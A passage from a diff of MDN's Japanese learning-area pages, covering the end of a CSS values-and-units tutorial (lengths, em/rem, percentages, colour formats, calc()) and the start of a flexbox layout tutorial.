1cm</td> + </tr> + <tr> + <td><code>in</code></td> + <td>Inches インチ</td> + <td>1in = 2.54cm = 96px</td> + </tr> + <tr> + <td><code>pc</code></td> + <td>Picas パイカ</td> + <td>1pc = 1in の 1/6</td> + </tr> + <tr> + <td><code>pt</code></td> + <td>Points ポイント</td> + <td>1pt = 1in の 1/72</td> + </tr> + <tr> + <td><code>px</code></td> + <td>Pixels ピクセル</td> + <td>1px = 1in の 1/96</td> + </tr> + </tbody> +</table> + +<p>これらの値は印刷には便利ですが、画面出力には向いていません。私たちは、スクリーン上の長さに、例えば <code>cm</code> (センチメートル)を使いません。よく使用するのは <code>px</code> (pixels/ピクセル)になります。</p> + +<h4 id="Relative_length_units" name="Relative_length_units">相対長の単位</h4> + +<p>Relative length units (相対的な長さの単位) は、何かとの比較によってサイズが決まります。それは、例えば、親要素のフォントサイズかもしれませんし、ビューポート(画面幅)かもしれません。この相対的な長さ単位はが便利なのは、それを作成するときにいくつかの点に注意して、そのページ内のテキストのサイズや他の要素の相対的なサイズで作成したときです。次の表にウェブ開発で便利な単位を紹介します。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Unit</th> + <th scope="col">関係先</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>em</code></td> + <td>親要素のフォントサイズ.</td> + </tr> + <tr> + <td><code>ex</code></td> + <td>その要素のフォントの文字 "x" の高さ</td> + </tr> + <tr> + <td><code>ch</code></td> + <td>その要素のフォントの文字 "0" の幅</td> + </tr> + <tr> + <td><code>rem</code></td> + <td>ルート要素のフォントサイズ</td> + </tr> + <tr> + <td><code>lh</code></td> + <td>その要素の line-hight プロパティと同じ</td> + </tr> + <tr> + <td><code>vw</code></td> + <td>ビューポート幅の 1%</td> + </tr> + <tr> + <td><code>vh</code></td> + <td>ビューポート高さの 1%</td> + </tr> + <tr> + <td><code>vmin</code></td> + <td>ビューポート幅と高さの小さい方の 1%</td> + </tr> + <tr> + <td><code>vmax</code></td> + <td>ビューポート幅と高さの大きい方の 1%</td> + </tr> + </tbody> +</table> + +<h4 id="Exploring_an_example" name="Exploring_an_example">試してみる</h4> + +<p>次の例で、絶対的な長さの単位と相対的な長さの単位の振る舞いの違いを確認しましょう。最初のボックスには {{cssxref("width")}} がピクセル単位で指定されています。 <span class="tlid-translation translation" lang="ja"><span title="">絶対単位なので、この幅は他の何が変わっても同じままです。</span></span></p> + +<p>二番目のボックスは相対的な長さの単位の、ビューポート幅に関連した <code>vw</code> を使用しています。この値は、ビューポート幅と関連しており、10vw は ビューポート幅の 10% にあたります。もしブラウザー幅を変化させた場合、このボックスのサイズは変化します。しかし、このページは <code><a href="/ja/docs/Web/HTML/Element/iframe"><iframe></a></code> に埋め込んであるため、次の例は動作しません。この動作を確認するには、<a href="https://mdn.github.io/css-examples/learn/values-units/length.html">このリンクをブラウザーの別タブで開いて、例を確認してください。</a></p> + +<p>三番目のボックスは <code>em</code> 単位を使います。この単位はフォントサイズに関連しています。<code>1em</code> にあたるフォントサイズ設定は {{htmlelement("div")}}で指定してあります。これは<code>.wrapper</code> クラスがあります。 <span class="tlid-translation translation" lang="ja"><span title="">この値を1.5emに変更すると、すべての要素のフォントサイズが増加しますが、最後の項目のみ width がフォントサイズに相対的であるため、最後の項目のみが広くなります。</span></span></p> + +<p>上の手順を行った後で、これらの値を変更してどのようにふるまうかを確認してください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/length.html", '100%', 820)}}</p> + +<h4 id="ems_and_rems" name="ems_and_rems">em と rem</h4> + +<p><code>em</code> と <code>rem</code> は開発者がボックスやテキストまですべてのサイズを変更するときによく遭遇する相対的な長さの単位です。これらがどのように動作するか、どのように違いがあるかを理解しましょう。特に<a href="/ja/docs/Learn/CSS/Styling_text">スタイルテキスト</a> や <a href="/ja/docs/Learn/CSS/CSS_layout">CSS レイアウト</a>のようなより複雑なテーマを扱うようになったときに価値があります。以下の例は、デモを提供しています。</p> + +<p>この HTML はネストしたリストの組です。全部で 3 つのリストがあり、どちらも同じ HTML です。唯一異なるのは、最初のものは <em>ems </em>クラスを持っており、二つ目のものは <em>rems</em> クラスを持っていることです。</p> + +<p>始めるにあたって、<code><html></code> 要素のフォントサイズを 16px に指定しました。</p> + +<p><strong>要約すると、em 単位は活字で言えば「私の親要素のフォントサイズ」を意味します。</strong><code>ems</code> の <code>class</code> を持つ {{htmlelement("ul")}} 内の {{htmlelement("li")}} 要素は、親要素からサイズを受け取ります。そのため、入れ子の各レベルは、それぞれのフォントサイズが <code>1.3em</code> (親のフォントサイズの1.3倍)に設定されているため、徐々に大きくなっていきます。</p> + +<p><strong>要約すると、この rem 単位は活字でいえば、「ルート要素のフォントサイズ」を意味します。</strong>(rem は"root em"を意味します) この <code>rems</code> の <code>class</code> を持つ {{htmlelement("ul")}} の内部の {{htmlelement("li")}} 要素はルート要素(<code><html></code>)からサイズ情報を取得します。 これは、ネストの各レベルが大きくなり続けないことを意味します。</p> + +<div title="ただし、CSSで<html> font-sizeを変更すると、その他のすべて（remサイズとemサイズの両方のテキスト）が相対的に変更されることがわかります。">ただし、CSSで <code><html></code> の <code>font-size</code> を変更すると、その他のすべて（ <code>rem</code> サイズと <code>em</code> サイズの両方のテキスト）が相対的に変更されることがわかります。</div> + +<div title="ただし、CSSで<html> font-sizeを変更すると、その他のすべて（remサイズとemサイズの両方のテキスト）が相対的に変更されることがわかります。"></div> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/em-rem.html", '100%', 1000)}} </p> + +<h3 id="Percentages" name="Percentages">Percentages(パーセント)</h3> + +<p>多くの場合、percentage (パーセント)は length(長さ)と同じ方法で使用します。percentages のあるものは、ある他の値との相対的な値を設定します。例えば、あなたがある要素の <code>font-size</code> に percentage を設定した場合、その親要素の <code>font-size</code> のパーセントを意味します。もしある <code>width</code> の値に percentage を使用した場合、その親要素の <code>width</code> のパーセントに設定されます。</p> + +<p>次の例では二つのパーセントでサイズ指定したボックスと、ピクセルでサイズ指定したボックスがあり、これらはそれぞれ同じクラス名を持っています。これは、それぞれ 200px と 40% の幅に設定されています。</p> + +<p>ここで異なるのは、二番目のボックスは 400 ピクセル幅のラッパーの内側にあることです。200px で指定したボックスは、一番目と二番目が同じ幅になっています。しかし、二番目の 40%指定したボックスは違います。二番目のボックスは 400 ピクセルの 40% の幅になります。最初のものよりかなり狭くなっています。</p> + +<p><strong>ラップするボックスの幅またはパーセントの値を変更してその影響を確認してください。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage.html", '100%', 850)}} </p> + +<p>次の例はフォントサイズをパーセントで指定しています。それぞれの <code><li></code> は 80% の <code>font-size</code> です。そのため、ネストしたリストはその親のサイズを継承するため、徐々にフォントサイズが小さくなっています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/percentage-fonts.html", '100%', 650)}} </p> + +<p>注意: 多くの値には length(長さ) と percentage(パーセント)の両方を受け付けますが、中には length しか受け付けないものもあります。どのような値が受け付けられるかを確認するには、MDN プロパティリファレンスページを参照してください。許可される値が <code><a href="/ja/docs/Web/CSS/length-percentage"><length-percentage></a></code> の場合は length と percentage の両方を使用できます。しかし許可される値が <code><length></code> の場合、percentage は使用できません。</p> + +<h3 id="Numbers" name="Numbers">Numbers(数)</h3> + +<p>一部の値は、単位のない数値を受け入れます。 単位のない数値を受け入れるプロパティの例は、要素の不透明度（透明度）を制御する <code>opacity</code> プロパティです。 このプロパティは、<code>0</code>（完全に透明）〜 <code>1</code>（完全に不透明）の数値を受け入れます。</p> + +<p><strong>この下の例を見てください。<code>opacity</code> を <code>0</code> から <code>1</code> までの間の数に変えて、この箱とそのコンテンツがどのよう表示されるかを確認してください。</strong></p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/opacity.html", '100%', 500)}} </p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: CSS で値として数を使用する場合、その値を引用符で囲んではなりません。</p> +</div> + +<h2 id="Color" name="Color">色</h2> + +<p>CSS で色を指定する方法はたくさんありますが、その中には最近実装されたものもあります。テキストの色を指定する場合でも、背景の色を指定する場合でも、CSSではどこでも同じ色の値を使うことができます。</p> + +<p>最近のコンピューターで利用できる標準的な色のシステムは 24 ビットです。これは赤、緑、青のチャンネルでそれぞれ 256 の値を持てるため、およそ 1670万色 (256 x 256 x 256 = 16,777,216) の色を指定できることになります。CSS で色を指定するさまざまな方法を見てみましょう。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: このチュートリアルでは、普通のブラウザーがサポートしている、標準的な色の指定方法を見ていきます。他にも方法がありますが、それらはサポートされていないこともあり、標準的な方法ではありません。</p> +</div> + +<h3 id="Color_keywords" name="Color_keywords">カラーキーワード</h3> + +<p>この学習の章や MDN でもよく例を見る方法にカラーキーワードがあります。これは色を指定する方法で非常に単純で理解しやすいものです。カラーキーワードは、その色の名前そのものを入力するだけです。このカラーキーワードのリストは <code><a href="/ja/docs/Web/CSS/color_value"><color></a></code> の値のページで確認できます。</p> + +<p><strong>下の練習で別のカラーキーワードを試して、それがどのように作用するのか確認してください。</strong></p> + +<h3 id="Hexadecimal_RGB_values" name="Hexadecimal_RGB_values">16進数 RGB</h3> + +<p>次のカラーの値の種類は、あたながよく遭遇する 16進数を使うものです。それぞれの 16進数の値には、ハッシュ記号(#) に続いて、6 個の 16進数の数が続きます。この数には、0 から f までの 16 個の文字を使用します。(ここで f は 15 に相当) — つまり <code>0123456789abcdef</code> を使用します。この値の二文字はそれぞれ赤、緑、青のカラーチャンネルの値を表しています。そのため、16 x 16 = 256 つまり、それぞれのチャンネルに 256通りの値を指定できます。</p> + +<p>これらの値は少し複雑で、わかりにくいものです。しかし、16進数はキーワードより多くの用途で使用されます。あなたのカラースキームで表す、好きな色を 16進数で表現できるのです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hex.html", '100%', 700)}} </p> + +<p><strong>もう一度、値を変更させてどのように色が変化するか確認しましょう。</strong></p> + +<h3 id="RGB_and_RGBA_values" name="RGB_and_RGBA_values">RGB と RGBA</h3> + +<p>第三の方法として、RGB を説明します。RGB の値は関数 <code>rgb()</code> に渡して使います。この関数は、3 つのパラメータを受け取り、それぞれ、赤、緑、青のチャンネルの色の値として扱います。ちょうど 16進数での表記とよく似ています。RGB は 2 つの 16進数で表すのと違い 0 から 255 の 10進数の数で指定します。こちらの方が少しわかりやすいです。</p> + +<p>最後の表記を書き直して、RGB で表現してみましょう。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgb.html", '100%', 700)}} </p> + +<p>また、RGBA カラー方式もあります。これは、RGB カラー方式とまったく同じ方法で、RGB で表すすべての値を使用できます。しかし、RGBA は 4 つのパラメータをとり、4番目のパラメータは色のアルファチャンネル、つまり色の不透明度(または透明度)を表します。この 4番目のパラメータの値が <code>0</code> のとき完全な透明を表し、<code>1</code> のとき完全な不透明を表します。その間の値を指定してさまざまなレベルの透明度を指定できます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 色でアルファチャンネルを設定することと、より前に学んだ、{{cssxref("opacity")}} プロパティで設定することの違いに注意しましょう。opacity プロパティで設定した場合、その要素と要素内のすべてが透明になります。一方、RGBA カラーを指定した場合、透明になるのはそのカラーだけです。</p> +</div> + +<p>下記の例では、色付きの箱に含まれる背景画像を追加しました。そして箱にいろいろな透過値をセットしました — アルファチャンネルが小さくなるときに背景がどう表示されるか注意してみてください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-rgba.html", '100%', 770)}}</p> + +<p><strong>この例では、アルファチャンネル値を変更してみて、色の出力にどう影響するのかを見ています。</strong></p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ある時点で、最新のブラウザが更新され、rgba() と rgb()、そして hsl() と hsla() (後述) がお互いの純粋なエイリアスとなり、全く同じ動作をするようになりました。このため <code>rgba()</code> と <code>rgb()</code> の両方はアルファチャンネル値のある/ない色を受け入れています。上記の例の <code>rgba()</code> 関数を <code>rgb()</code> に変更して色が動作するのを見てください! どのスタイルを使うのかはあなた次第ですが、不透明と透明の色定義に別の関数を使うのは (とても) 少しブラウザーサポートが良くなって、コード内のどこで透明色を使っているかの目印になります。</p> +</div> + +<h3 id="HSL_and_HSLA_values" name="HSL_and_HSLA_values">HSL と HSLA</h3> + +<p>RGB よりサポートがちょっと少ないのが HSL 色モデルです (IE の古いバージョンではサポートされません)、これはデザイナーの関心から実装されました。赤、緑、青の代わりに、<code>hsl()</code> 関数は 色相(hue), 彩度(saturation), 輝度(lightness) の値を取り、これは約 1670 万色を、別の方法で分別するのに使われます。</p> + +<ul> + <li><strong>色相(Hue)</strong>: 色のベースとなるシェード。これは 0 から 360 の値を取り、色相環の角度を表します。</li> + <li><strong>彩度(Saturation)</strong>: 色がどれだけ飽和しているか? これは 0–100% の値を取り、0 は色がなく (グレーのシェードに見える)、100% はフルカラーの飽和となります。</li> + <li><strong>(Lightness)</strong>: 色がどれだけ明るいのか? こりは 0–100% の値を取り、0 は明度がなく (完全な黒に見える)、100% はフルの明度です (完全な白となる)。</li> +</ul> + +<p>RGB の例を HSL の色に更新すると次のようになります:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsl.html", '100%', 700)}} </p> + +<p>RGB に RGBA があるように、HSL には同様な HSLA があり、アルファチャンネルの指定が同様にできます。デモとして RGBA の例を HSLA 色を使うようにしたものは次の通りです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/color-hsla.html", '100%', 770)}} </p> + +<p>プロジェクトでどの色の値を使っても良いです。たいていのプロジェクトではカラーパレットを決めてから、この色（と決定した色指定の方法）を、プロジェクト全体を通して使います。色モデルを混用することもできますが、一貫させるために通常はプロジェクト全体で同じものを使うのがベストです!</p> + +<h2 id="Images" name="Images">画像</h2> + +<p><code><a href="/ja/docs/Web/CSS/image"><image></a></code> データタイプは画像が妥当な値となる場合に使われます。これは <code>url()</code> 関数で指定される実際の画像ファイルか、グラデーションです。</p> + +<p>下記の例では画像とグラデーションを CSS <code>background-image</code> プロパティに使っています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/image.html", '100%', 740)}} </p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: <code><image></code> がとり得る他の値もありますが、それは新しくてブラウザーサポートが貧弱です。それについて知りたい場合、MDN の <code><a href="/ja/docs/Web/CSS/image"><image></a></code> データタイプのページを確認してください。</p> +</div> + +<h2 id="Position" name="Position">位置</h2> + +<p><code><a href="/ja/docs/Web/CSS/position_value"><position></a></code> データタイプは 2次元座標を表しており、背景画像のような項目 (<code><a href="/ja/docs/Web/CSS/background-position">background-position</a></code> にて)の位置を決めるのに使われます。これは <code>top</code>, <code>left</code>, <code>bottom</code>, <code>right</code>, <code>center</code> のようなキーワードを取って、ボックスの上や左の隅からオフセットさせる長さの値とともに、2次元のボックスの特定の境界にアイテムを揃えます。</p> + +<p>典型的な位置の値は 2 つの値を持ち — 最初は水平位置を、2 つ目は垂直位置をセットします。1 つの軸だけの値を指定する場合、もう 1 つはデフォルトで <code>center</code> となります。</p> + +<p>次の例では、背景画像をキーワードを使ってコンテナの右端の上から 40px の位置に配置しています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/position.html", '100%', 720)}} </p> + +<p><strong>この値でいろいろ遊んでみて、画像がどう移動するか見てください。</strong></p> + +<h2 id="Strings_and_identifiers" name="Strings_and_identifiers">文字列と識別子</h2> + +<p>上記の例を通じて、キーワードが値として使われる場所を見てきました (例えば、<code><color></code> キーワードの例として <code>red</code>, <code>black</code>, <code>rebeccapurple</code>, <code>goldenrod</code>)。このキーワードをより正確に述べると、CSS が理解できる特別な値の <em>識別子</em> です。このためそれは引用符で囲まれておらず、文字列として扱われません。</p> + +<p>CSS で文字列が使われる場所もあります、例えば、<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements#before%E3%81%8A%E3%82%88%E3%81%B3_after%E3%82%92%E4%BD%BF%E7%94%A8%E3%81%97%E3%81%9F%E3%82%B3%E3%83%B3%E3%83%86%E3%83%B3%E3%83%84%E3%81%AE%E7%94%9F%E6%88%90">生成されたコンテンツを指定するとき</a>です。この場合、値は文字列を示すようクォートで囲まれます。下記の例ではクォートで囲まれていない color キーワードと生成されたコンテンツ文字列を一緒に使っています。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/strings-idents.html", '100%', 550)}} </p> + +<h2 id="Functions" name="Functions">関数</h2> + +<p>最後に見る値は関数として知られる値です。プログラミングでは、関数とは、繰り返されるタスクを実行するのに何度も呼ばれる、開発者とコンピューター両方の手間を省いてくれる、再利用できるコードの一部分です。関数は通常 JavaScript, Python, C++のような言語と関連付けられますが、CSS にもプロパティ値として存在しています。私たちはすでに色の節で <code>rgb()</code>、 <code>hsl()</code> などの関数を見ています。ファイルから画像を返すのに使われた値 — <code>url()</code> — も関数です。</p> + +<p>従来のプログラミング言語にあるような動作をする値は CSS の <code>calc()</code> 関数です。この関数を使うと CSS 内で簡単な計算を行うことができます。特にプロジェクトの CSS を書く際に定義できない値を計算したい場合や、実行時にブラウザに計算させる必要がある場合に便利です。</p> + +<p>例えば、下記では <code>calc()</code> を使って <code>20% + 100px</code> の幅を出しています。20% は親コンテナである <code>.wrapper</code> の幅から計算され、その幅が変わると変更されます。親の 20% がいくらになるのか分からないので、この計算を事前にすることはできません。そのため代わりにブラウザーに計算してもらうよう <code>calc()</code> を使います。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/values-units/calc.html", '100%', 450)}}</p> + +<h2 id="スキルをテストしましょう!">スキルをテストしましょう!</h2> + +<p>この記事では多くをカバーしましたが、最も大事な情報を覚えていますか？次に移動する前に、この情報を保持しているか検証するテストがあります — <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/Building_blocks/Values_tasks">Test your skills: Values and unit</a> を見てください。</p> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>ここまで最もよく見かける値と単位を一通り見てきました。<a href="/ja/docs/Web/CSS/CSS_Values_and_Units">CSS 値と単位</a> のリファレンスページで、さまざまなタイプをすべて見ることができます。多くはこのレッスンを進んでいくと出てくるでしょう。</p> + +<p>覚えておくべき重要なことは、各プロパティには許可される値の定義されたリストがあり、各値にはサブ値が何であるかを説明する定義があるということです。詳細は MDN で調べることができます。</p> + +<p>例えば、<code><a href="/ja/docs/Web/CSS/image"><image></a> </code>でもカラーグラデーションを作成できることを理解しておくと便利ですが、たぶん当たり前の知識ではないでしょう!</p> + +<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks/Sizing_items_in_CSS", "Learn/CSS/Building_blocks")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> + <ul> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">要素・クラス・ID によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">属性によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">擬似クラスおよび疑似要素によるセレクター</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Selectors/Combinators">結合子</a></li> + </ul> + </li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/The_box_model">ボックスモデル</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">背景と枠線</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">テキスト方向の操作</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Overflowing_content">要素のはみ出し（オーバーフロー）</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Values_and_units">CSS の値と単位</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS によるサイズ設定</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Images_media_form_elements">画像・メディア・フォーム要素</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Styling_tables">表のスタイリング</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS のデバッグ</a></li> + <li><a href="/ja/docs/Learn/CSS/Building_blocks/Organizing">CSS の整理</a></li> +</ol> diff --git a/files/ja/learn/css/css_layout/flexbox/index.html b/files/ja/learn/css/css_layout/flexbox/index.html new file mode 100644 index 0000000000..688db60aec --- /dev/null +++ b/files/ja/learn/css/css_layout/flexbox/index.html @@ -0,0 +1,349 @@ +--- +title: フレックスボックス +slug: Learn/CSS/CSS_layout/Flexbox +tags: + - Article + - Beginner + - CSS + - CSS layouts + - CodingScripting + - Flexible Boxes + - Guide + - Layout + - Layouts + - Learn + - flexbox +translation_of: Learn/CSS/CSS_layout/Flexbox +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary"><span class="seoSummary"><a href="/ja/docs/Web/CSS/CSS_Flexible_Box_Layout">フレックスボックス</a>（Flexbox）は、項目を行または列にレイアウトするための1次元のレイアウト方法です。 項目は追加のスペースを埋めるためにたわみ、小さいスペースに収まるように縮小します。 この記事では、すべての基本事項について説明します。</span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提知識:</th> + <td>HTML の基本（<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>を学ぶ）、および CSS の機能の考え方（<a href="/ja/docs/Learn/CSS/Introduction_to_CSS">CSS 入門</a>を学ぶ）。</td> + </tr> + <tr> + <th scope="row">学習目標:</th> + <td>フレックスボックス・レイアウトシステムを使用してウェブのレイアウトを作成する方法を習得する。</td> + </tr> + </tbody> +</table> + +<h2 id="Why_Flexbox" name="Why_Flexbox">なぜフレックスボックスなのか？</h2> + +<p>長い間、CSS レイアウトを作成するために利用可能な唯一の信頼できるクロスブラウザー互換ツールは<a href="/ja/docs/Learn/CSS/CSS_layout/Floats">フロート</a>と<a href="/ja/docs/Learn/CSS/CSS_layout/Positioning">位置指定</a>のようなものでした。 これらは問題なく機能しますが、いくつかの点ではかなり限定的でイライラするものです。</p> + +<p>次のような単純なレイアウト要件は、このようなツールを使用しても、便利で柔軟な方法で実現するのが困難または不可能です。</p> + +<ul> + <li>コンテンツのブロックをその親内で垂直方向に中央揃えにします。</li> + <li>コンテナのすべての子が、使用可能な幅や高さに関係なく、使用可能な幅や高さについて等しい量を占めるようにします。</li> + <li>複数列レイアウトのすべての列に、異なる量のコンテンツが含まれていても、同じ高さを採用するようにします。</li> +</ul> + +<p>以降のセクションで見るように、フレックスボックスは多くのレイアウト作業をずっと簡単にします。 さあ始めましょう！</p> + +<h2 id="Introducing_a_simple_example" name="Introducing_a_simple_example">簡単な例の紹介</h2> + +<p>この記事では、フレックスボックスがどのように機能するのかを理解するのに役立つ一連の演習を進めていくようにします。 まず始めに、github リポジトリから最初のスターターファイル <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox0.html">flexbox0.html</a> のローカルコピーを作成し、最新のブラウザー（Firefox や Chrome など）にロードして、コードエディタでコードを確認してください。 ここでも<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox0.html">ライブを見る</a>ことができます。</p> + +<p>内部に最上位の見出しを持つ {{htmlelement("header")}} 要素と、3つの {{htmlelement("article")}} を含む {{htmlelement("section")}} 要素があります。 これらを使用して、かなり標準的な3列のレイアウトを作成します。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13406/flexbox-example1.png" style="border-style: solid; border-width: 1px; display: block; height: 324px; margin: 0px auto; width: 800px;"></p> + +<h2 id="Specifying_what_elements_to_lay_out_as_flexible_boxes" name="Specifying_what_elements_to_lay_out_as_flexible_boxes">柔軟な箱としてレイアウトする要素を指定</h2> + +<p>まず最初に、どの要素を柔軟な箱（flexible box）としてレイアウトするかを選択する必要があります。 これを行うために、あなたが影響を与えたい要素の親要素に {{cssxref("display")}} の特別な値を設定します。 この場合、{{htmlelement("article")}} 要素をレイアウトしたいので、これを {{htmlelement("section")}} に設定します（これがフレックスコンテナになります）。</p> + +<pre class="brush: css notranslate">section { + display: flex; +}</pre> + +<p>この結果は次のようになります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13408/flexbox-example2.png" style="border-style: solid; border-width: 1px; display: block; height: 348px; margin: 0px auto; width: 800px;"></p> + +<p>それで、このたった一つの宣言が必要なものすべてを与えてくれます — 信じられないでしょ？ 同じ幅の列を持つ複数列のレイアウトがあり、列の高さはすべて同じです。 これは、フレックス項目（フレックスコンテナの子）に与えられるデフォルト値が、このような一般的な問題を解決するために設定されているためです。 それらについての詳細は後で。</p> + +<div class="note"> +<p><strong>注</strong>: インライン項目を柔軟な箱としてレイアウトしたい場合は、<code>inline-flex</code> を {{cssxref("display")}} の値として設定することもできます。</p> +</div> + +<h2 id="An_aside_on_the_flex_model" name="An_aside_on_the_flex_model">フレックスモデルのさておき</h2> + +<p>要素が柔軟な箱として配置されるとき、それらは次のように2つの軸に沿って配置されます。</p> + +<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png" style="display: block; margin: 0px auto;"></p> + +<ul> + <li>主軸（<strong>main axis</strong>）は、フレックス項目が配置されている方向に走る軸です（例えば、ページを横切る行、またはページ下の列として）。 この軸の始点と終点は、主始点（<strong>main start</strong>）と主終点（<strong>main end</strong>）と呼ばれます。</li> + <li>交差軸（<strong>cross axis</strong>）は、フレックス項目が配置されている方向に対して垂直に走る軸です。 この軸の始点と終点は、交差始点（<strong>cross start</strong>）と交差終点（<strong>cross end</strong>）と呼ばれます。</li> + <li><code>display: flex</code> が設定されている親要素（この例では {{htmlelement("section")}}）は、フレックスコンテナ（<strong>flex container</strong>）と呼ばれます。</li> + <li>フレックスコンテナ内の柔軟な箱としてレイアウトされている項目は、フレックス項目（<strong>flex item</strong>）と呼ばれます（この例では {{htmlelement("article")}} 要素）。</li> +</ul> + +<p>次のセクションを進むときには、この用語集のことを覚えておいてください。 使用されている用語のいずれかについて混乱した場合は、いつでもここを参照することができます。</p> + +<h2 id="Columns_or_rows" name="Columns_or_rows">列それとも行？</h2> + +<p>フレックスボックスは {{cssxref("flex-direction")}} というプロパティを提供します。 これは主軸が走る方向（フレックスボックスの子がどの方向にレイアウトされるか）を指定します — デフォルトではこれは <code>row</code> に設定されていて、ブラウザーのデフォルト言語が動作する方向（英語のブラウザーの場合は左から右に）にそれらが横一列にレイアウトされます。</p> + +<p>次の宣言を {{htmlelement("section")}}）の規則に追加してみてください。</p> + +<pre class="brush: css notranslate">flex-direction: column;</pre> + +<p>これにより、CSS を追加する前と同じように、項目が縦一列のレイアウトに戻されます。 先に進む前に、この宣言を例から削除してください。</p> + +<div class="note"> +<p><strong>注</strong>: <code>row-reverse</code> と <code>column-reverse</code> の値を使用して、フレックス項目を逆方向にレイアウトすることもできます。 これらの値も試してみてください！</p> +</div> + +<h2 id="Columns_or_rows" name="Columns_or_rows">ラッピング</h2> + +<p>レイアウトの幅や高さが決まっているときに発生する問題の1つは、最終的にはフレックスボックスの子がコンテナをオーバーフローさせてレイアウトが壊れることです。 <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/flexbox/flexbox-wrap0.html">flexbox-wrap0.html</a> の例を見て、それを<a href="http://mdn.github.io/learning-area/css/css-layout/flexbox/flexbox-wrap0.html">ライブで見て</a>みてください（この例に沿って進めたい場合は、このファイルのローカルコピーを取ってください）。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13410/flexbox-example3.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;"></p> + +<p>ここで実際に子がコンテナから抜け出しているのを見ます。 これを修正できる1つの方法は、{{htmlelement("section")}}）の規則に次の宣言を追加することです。</p> + +<pre class="brush: css notranslate">flex-wrap: wrap;</pre> + +<p>また、{{htmlelement("article")}} の規則に次の宣言を追加します。</p> + +<pre class="brush: css notranslate">flex: 200px;</pre> + +<p>試してみてください。 これが含まれていると次のようにレイアウトがはるかに良く見えることがわかります。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13412/flexbox-example4.png" style="display: block; height: 646px; margin: 0px auto; width: 800px;">現在、複数の行があります — 多くのフレックスボックスの子が各行に納められているので、オーバーフローは次のラインに移動します。 <code>article</code> に設定した <code>flex: 200px</code> の宣言は、それぞれが少なくとも 200px 幅になることを意味します。 このプロパティについては後で詳しく説明します。 また、最後の行の最後の数個の子がそれぞれ幅広になっているので、依然として行全体がいっぱいになっていることに気付くかもしれません。</p> + +<p>しかし、ここでできることは他にもあります。 まず最初に、{{cssxref("flex-direction")}} プロパティの値を <code>row-reverse</code> に変更してみてください。 これで、まだ複数行のレイアウトがあることがわかりますが、ブラウザーウィンドウの反対側の隅から開始して逆方向に流れます。</p> + +<h2 id="flex-flow_shorthand" name="flex-flow_shorthand">flex-flow 一括指定</h2> + +<p>この時点で、{{cssxref("flex-flow")}} という {{cssxref("flex-direction")}} と {{cssxref("flex-wrap")}} の一括指定が存在することに注目する価値があります。 例えば、次のように置き換えることができます。</p> + +<pre class="brush: css notranslate">flex-direction: row; +flex-wrap: wrap;</pre> + +<p>を</p> + +<pre class="brush: css notranslate">flex-flow: row wrap;</pre> + +<h2 id="Flexible_sizing_of_flex_items" name="Flexible_sizing_of_flex_items">フレックス項目の柔軟なサイズ変更</h2> + 